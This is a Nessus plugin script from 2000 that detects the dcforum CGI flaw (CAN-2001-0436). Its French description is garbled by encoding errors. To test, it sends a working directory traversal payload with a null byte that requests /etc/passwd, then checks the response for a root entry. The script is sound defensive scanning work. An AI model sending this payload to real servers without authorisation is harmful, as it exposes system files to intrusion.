home *** CD-ROM | disk | FTP | other *** search
- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10583);
- script_bugtraq_id(2611, 2728);
- script_cve_id("CAN-2001-0436");
-
- script_version ("$Revision: 1.17 $");
- name["english"] = "dcforum";
- name["francais"] = "dcforum";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "The 'dcforum' CGI is installed. This CGI has
- a well known security flaw that lets an attacker execute arbitrary
- commands with the privileges of the http daemon (usually root or nobody).
-
- Solution : remove it from /cgi-bin.
-
- Risk factor : High";
-
-
- desc["francais"] = "Le cgi 'dcforum' est installΘ. Celui-ci possΦde
- un problΦme de sΘcuritΘ bien connu qui permet α n'importe qui de faire
- executer des commandes arbitraires au daemon http, avec les privilΦges
- de celui-ci (root ou nobody).
-
- Solution : retirez-le de /cgi-bin.
-
- Facteur de risque : SΘrieux";
-
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "Checks for the presence of /cgi-bin/dcforum";
- summary["francais"] = "VΘrifie la prΘsence de /cgi-bin/dcforum";
-
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_GATHER_INFO);
-
-
- script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison",
- francais:"Ce script est Copyright (C) 2000 Renaud Deraison");
- family["english"] = "CGI abuses";
- family["francais"] = "Abus de CGI";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes", "no404.nasl");
- script_require_ports("Services/www", 80);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- include("http_func.inc");
- include("http_keepalive.inc");
-
- port = get_http_port(default:80);
-
-
- if(!get_port_state(port))exit(0);
-
- req = http_get(item:"/dcforum/dcforum.cgi?az=list&forum=../../../../../../../etc/passwd%00",
- port:port);
- r = http_keepalive_send_recv(port:port, data:req);
- if( r == NULL ) exit(0);
- if(egrep(pattern:".*root:.*:0:[01]:.*", string:r))
- {
- security_hole(port);
- exit(0);
- }
-
-
- foreach dir (cgi_dirs())
- {
- req = http_get(item:string(dir,"/dcforum.cgi?az=list&forum=../../../../../../../etc/passwd%00"),
- port:port);
-
- r = http_keepalive_send_recv(port:port, data:req);
- if( r == NULL ) exit(0);
- if(egrep(pattern:".*root:.*:0:[01]:.*", string:r))
- {
- security_hole(port);
- exit(0);
- }
- }
-
-
-
-